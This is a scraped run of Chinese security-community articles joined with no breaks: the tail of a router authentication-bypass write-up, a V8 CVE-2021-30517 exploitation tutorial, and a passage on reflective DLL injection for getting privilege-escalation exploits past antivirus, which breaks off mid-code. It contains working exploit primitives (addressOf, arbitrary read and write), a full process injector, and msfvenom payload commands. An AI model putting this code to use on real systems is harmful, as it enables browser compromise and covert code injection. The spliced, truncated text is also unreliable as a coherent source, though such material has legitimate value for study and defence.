这一步部分命令拼接就不展开来讲述，但是本漏洞的不同点在于使用设备内部的配置选项ARC_TELNETD_ENABLE
来开启设备的telentd，这一点可以在以后的漏洞挖掘中遇到无法执行命令的时候，提供了不同的执行命令的方式。
我们来重点的关注一下ARC_TELNETD_ENABLE 这个配置。在文件 /sbin/arc_telnetd
文件中可以看到文件内容。文件可以获取ARC_TELNETD_ENABLE的值，当ARC_TELNETD_ENABLE的值为1的时候，设备会开启telnetd。
### 漏洞复现
## 0x05 总结
这个身份验证绕过漏洞产生的根本原因在于对请求的URL
验证不严格，本来”/image”是用来用户请求前端静态资源时，默认不需要通过验证，最终导致通过“/image/” 绕过登录。
另外在前一阵子的披露的NetGear DGN2200v1
设备中同样存在通过前端静态资源的路径，来绕过身份验证。并且我在其他的一款网络设备的固件中发现类似的问题。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**相关阅读：[从 0 开始学 V8 漏洞利用之环境搭建（一）](https://paper.seebug.org/1820/ "从 0 开始学 V8
漏洞利用之环境搭建（一）")
[从 0 开始学 V8 漏洞利用之 V8 通用利用链（二）](https://paper.seebug.org/1821/ "从 0 开始学 V8
漏洞利用之 V8 通用利用链（二）")
[从 0 开始学 V8 漏洞利用之 starctf 2019 OOB（三）](https://paper.seebug.org/1822/ "从 0 开始学
V8 漏洞利用之 starctf 2019 OOB（三）")
[从 0 开始学 V8 漏洞利用之 CVE-2020-6507（四）](https://paper.seebug.org/1823/ "从 0 开始学 V8
漏洞利用之 CVE-2020-6507（四）")
[从0开始学 V8 漏洞利用之 CVE-2021-30632（五）](https://paper.seebug.org/1824/ "从0开始学 V8
漏洞利用之 CVE-2021-30632（五）")
[从 0 开始学 V8 漏洞利用之 CVE-2021-38001（六）](https://paper.seebug.org/1825/ "从 0 开始学
V8 漏洞利用之 CVE-2021-38001（六）")**
复现CVE-2021-30517
第五个研究的是`CVE-2021-30517`，其chrome的bug编号为：[1203122](https://bugs.chromium.org/p/chromium/issues/detail?id=1203122)
可以很容易找到其相关信息：
受影响的Chrome最高版本为：`90.0.4430.93` 受影响的V8最高版本为：`9.0.257.23`
相关PoC：
function main() {
class C {
m() {
super.prototype
}
}
function f() {}
C.prototype.__proto__ = f
let c = new C()
c.x0 = 1
c.x1 = 1
c.x2 = 1
c.x3 = 1
c.x4 = 0x42424242 / 2
f.prototype
c.m()
}
for (let i = 0; i < 0x100; ++i) {
main()
}
在Chrome的bug信息页面除了poc外，同时也公布了exp，有需要的可自行下载研究。
# 搭建环境
一键编译相关环境：
$ ./build.sh 9.0.257.23
# 套模版
该PoC跟上篇文章的PoC相似度很高，原理也相似，所以可以尝试上文的堆喷技术来写该漏洞的EXP，但是该漏洞还存在另一个PoC：
obj = {a:1};
obj_array = [obj];
%DebugPrint(obj_array);
function main() {
class C {
m() {
return super.length;
}
}
f = new String("aaaa");
C.prototype.__proto__ = f
let c = new C()
c.x0 = obj_array;
f.length;
return c.m();
}
for (let i = 0; i < 0x100; ++i) {
r = main()
if (r != 4) {
console.log(r);
break;
}
}
运行PoC，得到结果：
DebugPrint: 0x322708088a01: [JSArray]
- map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x32270820b899 <JSArray[0]>
- elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x32270804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3227080889f5 <FixedArray[1]> {
0: 0x3227080889c9 <Object map = 0x322708247141>
}
134777333
hex(134777333) = 0x80889f5
最后返回的`length`等于`obj_array`变量的`elements`地址。理解了上文对类型混淆的讲解，应该能看懂上述的PoC，该PoC通过String和Array类型混淆，从而泄漏出`obj_array`变量的`elements`。根据该逻辑我们来编写EXP。
## 泄漏变量地址
obj = {a:1};
obj_array = [obj];
class C {
constructor() {
this.x0 = obj_array;
}
m() {
return super.length;
}
}
let receive = new C();
function trigger1() {
lookup_start_object = new String("aaaa");
C.prototype.__proto__ = lookup_start_object;
lookup_start_object.length;
return receive.m()
}
for (let i = 0; i < 140; ++i) {
trigger1();
}
element = trigger1();
## 编写addressOf函数
在上面的基础上，编写`addressOf`函数：
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
receive2.length = (element-0x1)/2;
low3 = trigger2();
receive2.length = (element-0x1+0x2)/2;
hi1 = trigger2();
res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
return res-1;
}
class B extends Array {
m() {
return super.length;
}
}
let receive2 = new B();
function trigger2() {
lookup_start_object = new String("aaaa");
B.prototype.__proto__ = lookup_start_object;
lookup_start_object.length;
return receive2.m()
}
for (let i = 0; i < 140; ++i) {
trigger2();
}
改`addressOf`函数与之前的文章中编写的，稍显复杂了一些，这里做一些解释。
`receive2`的`length`属性属于SMI类型，储存在内存中的值为偶数，其值除以2，就是真正的SMI的值。
`String`对象读取`length`的路径为：`String->value(String+0xB)->length(*value+0x7)`
因为`receive2`对象通过漏洞被认为了是`String`对象，所以`receive2+0xB`的值为`receive2.length`属性的值。
所以我们可以通过`receive2.length`来设置`value`的值，但是只能设置为偶数，而正确的值应该为奇数，所以这里我们需要读两次，然后通过位运算，还原出我们实际需要的值。
## 编写read32函数
跟之前的模版不同，该漏洞能让我们在不构造`fake_obj`的情况下编写任意读函数，为了后续利用更方便，所以该漏洞的EXP我们加入了`read32`函数：
function read32(addr)
{
receive2.length = (addr-0x8)/2;
low3 = trigger2();
receive2.length = (addr-0x8+0x2)/2;
hi1 = trigger2();
res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
return res;
}
原理和`addressOf`一样。
## 编写read64函数
因为该漏洞的特性，我们这次不需要编写`fakeObject`函数，所以接下来我们需要构造`fake_obj`来编写`read64`函数。
多调试一下我们前文使用的PoC，该PoC只能泄漏地址，但是没办法让我们得到一个伪造的对象。但是文章的最开始，Chrome的bug页面中给的PoC，却可以让我们得到一个对象。因为是把函数的prototype对象进行类型混淆。
构造`fake_obj`的代码如下所示：
var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5];
var fake_array_addr = addressOf(fake_array);
fake_array_map = read32(fake_array_addr);
fake_array_map_map = read32(fake_array_map-1);
fake_array_ele = read32(fake_array_addr+8) + 8;
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
fake_array[3] = 0;
fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);
class A extends Array {
constructor() {
super();
this.x1 = 1;
this.x2 = 2;
this.x3 = 3;
this.x4 = (fake_array_ele-1+0x10+2) / 2;
}
m() {
return super.prototype;
}
}
let receive3 = new A();
function trigger3() {
function lookup_start_object(){};
A.prototype.__proto__ = lookup_start_object;
lookup_start_object.prototype;
return receive3.m()
}
for (let i = 0; i < 140; ++i) {
trigger3();
}
fake_object = trigger3();
通过调试我们可以发现，函数`lookup_start_object`获取`prototype`对象的路径为：`lookup_start_object->function
prototype(lookup_start_object+0x1B)`，如果该地址的`map`为表示类型的对象，如下所以：
0x257d08242281: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
改对象的特点为：
pwndbg> x/2gx 0x257d08242281-1
0x257d08242280: 0x1408080808042119 0x084017ff19c20423
pwndbg> x/2gx 0x257d00000000+0xC0
0x257d000000c0: 0x0000257d08042119 0x0000257d08042509
pwndbg> job 0x257d08042119
0x257d08042119: [Map] in ReadOnlySpace
- type: MAP_TYPE
- instance size: 40
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x257d080423b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x257d08042235 <null>
- constructor: 0x257d08042235 <null>
- dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
如果`lookup_start_object+0x1B`执行的地址的`map`值为`0x08242281`，则获取其`prototype(+0xF)`
在上述的PoC中：`fake_array[2] = u2d(fake_array_map_map*0x100,
fake_array_map_map/0x1000000);`就是在伪造MAP类型的map。
该地址加上`0xf`：`fake_array[4] = u2d(fake_array_ele*0x100,
fake_array_ele/0x1000000);`，指向了`fake_array`的开始：
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
而最开始，就是我们伪造的浮点型数组。有了`fake_obj`之后我们就可以编写`read64`函数了：
function read64(addr)
{
fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
return fake_object[0];
}
## 编写write64函数
然后就是`write64`函数：
function write64(addr, data)
{
fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
fake_object[0] = itof(data);
}
## 其他
剩下的工作就是按照惯例，套模板，修改偏移了，这PoC目前我也没觉得哪里有需要优化的地方。
# 漏洞简述
上述伪造`fake_obj`的逻辑中，v8返回函数的`prototype`的逻辑如下：
Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function,
Label* if_bailout) {
CSA_ASSERT(this, TaggedIsNotSmi(function));
CSA_ASSERT(this, IsJSFunction(function));
CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)),
1 << Map::kHasNonInstancePrototype));
Node* proto_or_map =
LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset);
GotoIf(IsTheHole(proto_or_map), if_bailout);
VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map);
Label done(this, &var_result);
GotoIfNot(IsMap(proto_or_map), &done); -> 判断是否为MAP对象
var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是，则返回其prototype，偏移为0xf
Goto(&done);
BIND(&done);
return var_result.value();
}
该漏洞的原理在Chrome的bug描述页面也有说明，就是`receiver`和`lookup_start_object`搞混了。
下例代码：
class A extends Array {
constructor() {
super();
this.x1 = 1;
this.x2 = 2;
this.x3 = 3;
this.x4 = (fake_array_ele-1+0x10+2) / 2;
}
m() {
return super.prototype;
}
}
let receive3 = new A();
其中变量`receive3`就是`receiver`，而`lookup_start_object`为`A.prototype.__proto__`。
然后就是以下代码：
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
Handle<Object> receiver = lookup->GetReceiver();
ReadOnlyRoots roots(isolate());
// `in` cannot be called on strings, and will always return true for string
// wrapper length and function prototypes. The latter two cases are given
// LoadHandler::LoadNativeDataProperty below.
if (!IsAnyHas() && !lookup->IsElement()) {
if (receiver->IsString() && *lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
return BUILTIN_CODE(isolate(), LoadIC_StringLength);
}
if (receiver->IsStringWrapper() &&
*lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
}
// Use specialized code for getting prototype of functions.
if (receiver->IsJSFunction() &&
*lookup->name() == roots.prototype_string() &&
!JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
}
}
Handle<Map> map = lookup_start_object_map();
Handle<JSObject> holder;
bool holder_is_lookup_start_object;
if (lookup->state() != LookupIterator::JSPROXY) {
holder = lookup->GetHolder<JSObject>();
holder_is_lookup_start_object =
lookup->lookup_start_object().is_identical_to(holder);
}
当获取函数的`prototype`属性或者字符串对象获取其`length`属性时（也就是`super.prototype(super.length)`），使用的是`receiver`而不是`A.prototype.__proto__`。
上述代码为ICs的优化代码，在没有进行inline cache的情况下，漏洞并不会发生。
# 参考
1. <https://bugs.chromium.org/p/chromium/issues/detail?id=1203122>
* * * | 社区文章 |
# CS插件之DLL反射加载EXP绕过AV提升权限
## 0x0 前言
本文主要是笔者归纳一些实践经验，针对常见的AV拦截落地提权EXP进行的一些躲避尝试的记录。本文内容并不深入原理，但会尽量说明技术的基本体系和操作的核心步骤，即使你是个萌新，依然可以轻松且愉快地阅读并进行实践。
## 0x1 DLL注入概念
[DLL注入-维基百科](https://zh.wikipedia.org/zh-hans/DLL%E6%B3%A8%E5%85%A5)
> DLL注入(DLL
> Injection)是一种计算机编程技术，它可以强行使另一个进程加载一个动态链接库(DLL)以在其地址空间内运行指定代码。常见用途是改变原先程序的行为，实现程序作者本未设计或可预期的结果。比如用于hook系统调用、读取密码框内容。
>
> 将任意代码注入任意进程的程序被称为DLL注入器。
通俗来说，DLL注入的目标对象是某一进程，然后在该进程的地址空间上注入DLL中的代码并且执行，主要是起到了动态修改程序行为的作用。合理地来说，也可用于动态拓展程序功能，即起到增强作用。
## 0x2 DLL注入方式
下面主要介绍两种注入反射方式，对比差异，来帮助学习。
### 0x2.1 常规DLL注入
常规的DLL注入方式是远程线程注入(`CreateRemoteThread`)
步骤如下:
1.打开目标进程句柄
2.开辟目标进程空间，用于存放需要注入的DLL文件路径
3.获取`LoadLibrary`的地址
4.通过`CreateRemoteThread`函数调用LoadLibrary，传入DLL文件路径的地址作为参数，进行远程动态调用。
> 技术的核心原理：
>
> 我们注入器的进程的内存空间是没办法让目标进程访问到的，而核心调用DLL的基础原理是程序执行`LoadLibrary`函数去加载指定的DLL，所以我们必须要在目标进程空间存放DLL的文件地址(这样目标进程才能调用到)，由于`kernel.dll`加载的地址在所有进程都是一样的，且`LoadLibrary`是其导出模块，其RVA地址是固定在PE结构的，所以注入器获取到的API地址是一样，可作用于目标进程，这样我们就可以通过远程执行目标进程的新线程，然后线程执行`LoadLibrary`函数加载指定DLL实现DLL注入。
>
> 关于为什么系统模块加载地址会相同，可以理解为设计需要，可查阅 <http://www.nynaeve.net/?p=198。>
先采用VS2019 编写一个简单的DLL: hello.dll
DLL_PROCESS_ATTACH状态时执行`MessageBoxA`:
MessageBoxW(NULL, TEXT("Hello i am hello!"), TEXT("box"), MB_OK);
当然如果你本机装有msfvenom,可以更加方便生成一个dll:
msfvenom -p windows/exec cmd=calc.exe -f dll -o calc32.dll # 生成32位dll
msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll # 生成64位dll
整完，开始编写注入器,用到核心API函数如下:
[OpenProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)
HANDLE OpenProcess(
DWORD dwDesiredAccess, //PROCESS_ALL_ACCESS 进程控制的权限
BOOL bInheritHandle, //false, 句柄是否可以被继承
DWORD dwProcessId //目标进程pid,某些系统进程会出错
);
[VirtualAllocEx](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
LPVOID VirtualAllocEx(
HANDLE hProcess, //目标进程句柄 PROCESS_VM_OPERATION
LPVOID lpAddress, //NULL，自动分配空间地址
SIZE_T dwSize, //单位byte， 分配的空间区域大小
DWORD flAllocationType, //MEM_COMMIT 内存类型
DWORD flProtect //PAGE_READWRITE， 内存区域权限可读可写
);
[WriteProcessMemory](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
BOOL WriteProcessMemory(
HANDLE hProcess, //目标进程句柄 PROCESS_VM_WRITE and PROCESS_VM_OPERATION
LPVOID lpBaseAddress, //写入内容的基地址
LPCVOID lpBuffer, //指向写入数据的指针
SIZE_T nSize, //写入数据的大小
SIZE_T *lpNumberOfBytesWritten //NULL，不记录写入字节数目
);
[CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)
HANDLE CreateRemoteThread(
HANDLE hProcess, //目标句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,//NULL，默认描述符
SIZE_T dwStackSize, //0，使用默认栈大小
LPTHREAD_START_ROUTINE lpStartAddress,// 指针指向远程调用函数的地址
LPVOID lpParameter, //指针指向参数地址
DWORD dwCreationFlags,//0,立刻执行
LPDWORD lpThreadId //NULL,不返回验证信息
);
[GetModuleHandle](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea)
HMODULE GetModuleHandleA(
LPCSTR lpModuleName //kernel32.dll 模块名称
);
[GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)
FARPROC GetProcAddress(
HMODULE hModule, //模块句柄
LPCSTR lpProcName //导出函数名称
);
下面开始编写我们的注入器，我的编程规则是先声明必须的变量，这样代码写起来有层次感。
VS2019创建个窗口程序项目DllInject:
#include <iostream>
#include <Windows.h>
using namespace std;
int main(int argc, char ** argv)
{
// declare varibales
HANDLE processHandle;
LPVOID remoteAllocAddr;
BOOL writeRet;
HMODULE hModule;
HANDLE hThread;
LPTHREAD_START_ROUTINE dwLoadAddr;
char* dllPath;
/*
wchar_t tPath[] = TEXT("C:\\Users\\god\\Desktop\\test\\hello.dll");
LoadLibraryW(tPath);
exit(0);
*/
if (argc < 2) {
printf("Usage: DllInject.exe pid\n");
exit(0);
}
DWORD pid = atoi(argv[1]);
dllPath = argv[2];
printf("[+] Target pid: %d\n", pid);
size_t len = strlen(dllPath) + 1;
printf("[+] Inject dll: %s len:%d\n", dllPath, len);
//step 1
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (GetLastError() == NULL) {
printf("[+] OpenProcess success!\n");
}
else {
printf("[-] OpenProcess Fail!\n");
printf("[-] Code:%d Error : %d \n", processHandle, GetLastError());
exit(0);
}
//wchar_t dllPath[] = TEXT("C:\\Users\\god\\Desktop\\test\\hello.dll");
// step 2
remoteAllocAddr = VirtualAllocEx(processHandle, NULL, len, MEM_COMMIT, PAGE_READWRITE);
if (remoteAllocAddr == NULL) {
printf("[-] VirtualAllocEx fail!\n");
exit(0);
}
else {
printf("[+] VirtualAllocEx success: %p\n", remoteAllocAddr);
}
// step 2
writeRet = WriteProcessMemory(processHandle, remoteAllocAddr, (LPVOID)dllPath, len, NULL);
if (writeRet) {
printf("[+] WriteProcessMemory success! \n");
}
else {
printf("[-] WriteProcessMemory fail! \n");
exit(0);
}
// step 3
hModule = GetModuleHandle(TEXT("kernel32.dll"));
dwLoadAddr = (PTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if (hModule && dwLoadAddr) {
printf("[+] GetModuleHandle success address:%p\n", hModule);
printf("[+] GetProcAddress success address: %p\n", dwLoadAddr);
}
else {
printf("[-] step 3 fail\n");
exit(0);
}
// step 4
hThread = CreateRemoteThread(processHandle, NULL, 0, dwLoadAddr, remoteAllocAddr, 0, NULL);
if (hThread == NULL) {
printf("[-] CreatRemoteTread error! \n");
}
else {
printf("[+] All done!\n");
}
// end
CloseHandle(processHandle);
}
代码相对而言，非常简单易懂，功能也较为丰富，命令行可自定义进程和指定DLL文件。
注入效果如下：
这里只能64位注入64位DLL，因为64位注入器如果注入32位进程则地址会不一样，导致失败。
### 0x2.2 DLL反射注入
反射DLL是指不依赖于系统自带的`LoadLibrary`函数，通过将一个完整的功能的DLL文件写入到目标进程空间，然后通过远程执行一个地址无关的`ReflectiveLoader`函数用于在目标进程空间内存中对DLL进行展开和修补，最终实现类`LoadLibrary`的功能，去调用DLLMain函数，完成DLL的加载过程。
>
> 相比于常规的DLL注入，反射注入能够躲避ProcessExplorer、Procexp64等工具的module检查，文件也无需落地，只能从内存层面来做检测，操作来说更加隐蔽，缺点就是因为使用了很多FUZZ和循环进行定位，实现代码较为复杂，代码量也比较大。
一般DLL在内存加载的流程(非权威):
1.检索DLL，文件数据映射到内存中
2.检查PE文件有效性（DOS、PE header）
3.分配PE文件中的`SizeOfImage`的内存大小
4.解析节区数据，根据PE中的区段对齐大小和VA偏移拷贝到内存空间中
5.实际加载到进程地址空间与PE文件中指定的基地址不一致，则需要修复重定向表。
6.修复导入表，加载DLL依赖的其他DLL
7.根据每个节区的`Characteristics`属性设置内存页访问属性
8.通过`AddressOfEntryPoint`获取到DllMain的函数地址，进行调用。
>
> LoadLibrary的具体执行流程应该比这个会更为复杂，处理的细节也会更多，处理的步骤可能也不一样，但是程序执行的核心还是Rip执行内存的指令代码，是不断寻址的过程，只要指令和数据正确，便能正确执行。
实际DLL反射加载的流程:
下面基于一个较为出名但比较古老却仍然被CS、MSF使用活跃的项目代码进行分析。
> 有趣的是项目在8年前就已经不再更新，至于为什么叫反射，从结果来说，通过外部调用自身编写的ReflectLoader函数，然后实现 **动态加载自己**
> ，动态获取DLL的所有功能，实现完整的控制流程。
Github:[ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection)
> Reflective DLL injection is a library injection technique in which the
> concept of reflective programming is employed to perform the loading of a
> library from memory into a host process. As such the library is responsible
> for loading itself by implementing a minimal Portable Executable (PE) file
> loader. It can then govern, with minimal interaction with the host system
> and process, how it will load and interact with the host.
这里我从完整的执行流程作为时间线进行debug分析：
1）Inject项目
入口Inject.C
注入部分LoadLibraryR.c
后面就是常规的远程调用函数执行的流程：
这里我选择跟进`GetReflectiveLoaderOffset`
前面先通过预编译判断编译的注射器和DLL的位数是不是一致的，否则return。
一致的话，就开始静态解析PE结构的导出表，
解读上图的代码,
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
获取到PE头的NTheader，解析导出表,获取到名称、地址、序号的数组基址
然后根据`NumberOfNames`导出函数数目，这里只有一个导出函数，然后数组和序号地址根据4字节偏移开始递增，将`uiNameArray`转换为char类型比较是否`ReflectiveLoader`函数，如果是则，加上序号*4+((PIMAGE_EXPORT_DIRECTORY
)uiExportDir)->AddressOfFunctions作为`ReflectiveLoader`函数，至此完成函数的地址定位工作。
>
> 这里不用寻找也可以，调用该函数的时候，放入一个参数存放注射器分配的DLL空间,这样的话通用性会差点，因为有时候我们可能没办法直接获取到地址，只能盲写之类的。
>
> 这种能直接通过地址进行调用，而无须进行修正就能够正常运行的函数，采用了地址无关的代码实现，基本的原理实现是将指令部分需要修改的分离出来跟数据部分放在一起，保持指令部分不变，或者保持指令部分不需要改变，不去引用绝对地址。
2）reflective_dll项目
这个函数首先调用`caller`，其实现是[`_ReturnAddress()`],(<https://docs.microsoft.com/zh-cn/cpp/intrinsics/returnaddress?view=msvc-160)用于返回`caller`的下一条指令地址（属于`ReflectiveLoader`进程空间的地址)，>
然后通过不断在内存回溯，暴力匹配DLL文件DOS头`MZ`来确认DLL的加载地址。
接下来需要利用PEB来获取进程加载的module模块的地址，只获取kerner.dll、ntdll.dll
这两个执行文件默认会加载的系统模块，从而使用他们的导出函数。
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#endif
> 原理可以查阅:
>
> [获取kernel32.dll基址](https://blog.csdn.net/bcbobo21cn/article/details/50450490)
> [PEB枚举进程所有模块](https://www.bbsmax.com/A/qVdeqAZ1dP/)
>
> 这里为了帮助萌新理解，可以简单理解为一种介质，来获取到模块的地址，当然你也可以自己调试一个正常的进程，去查看PEB与进程模块地址的关系来验证下面的说法。
>
>
> !peb
> dt _PEB @$peb
> dt 0x00007ff8`b52653c0 _PEB_LDR_DATA
> dt 0x00007ff8`b52653c0+0x10 _LIST_ENTRY
> dt 0x00000000`007924a0 _LDR_DATA_TABLE_ENTRY
>
>
>
x64系统寄存器位置gs:[0x60]存放的是PEB结构的地址放入`uiBaseAddress`
0x0c偏移处即Ldr是一个指向PEB_LDR_DATA结构的指针，代码选择了内存顺序加载`InMemoryOrderModuleList`，它是一个双链表结构，成环形，链表指向的数据结构便是module加载的信息，其中包括DllBase、BaseDllName等信息，
> [PEB_LDR_DATA structure (winternl.h)](https://docs.microsoft.com/en-> us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)
遍历进程模块，进行hash比较，然后下面一大段代码，while一层用于全部遍历，主要找到两个关键module，`KERNEL32DLL`(里面继续循环3次，找到关键函数`LoadLibraryA`,`GetProcAddress`,`VirtualAlloc`)和`NTDLL`(循环一次，找到`NtFlushInstructionCache`),代码实现较为简单直接粗暴，作者的注释很赞。
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
目的是最终获取到下面4个函数，用于在内存展开DLL和刷新指令。
pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache
接下来重新分配一个新的空间，大小为PE中设置的内存展开大小,直接复制PE头到新空间。
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
// 重新分配内存镜像大小的空间
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// PE头部大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
// 未展开的DLL文件地址
uiValueB = uiLibraryAddress;
// 需要存放展开的DLL内存镜像地址
uiValueC = uiBaseAddress;
while( uiValueA-- )
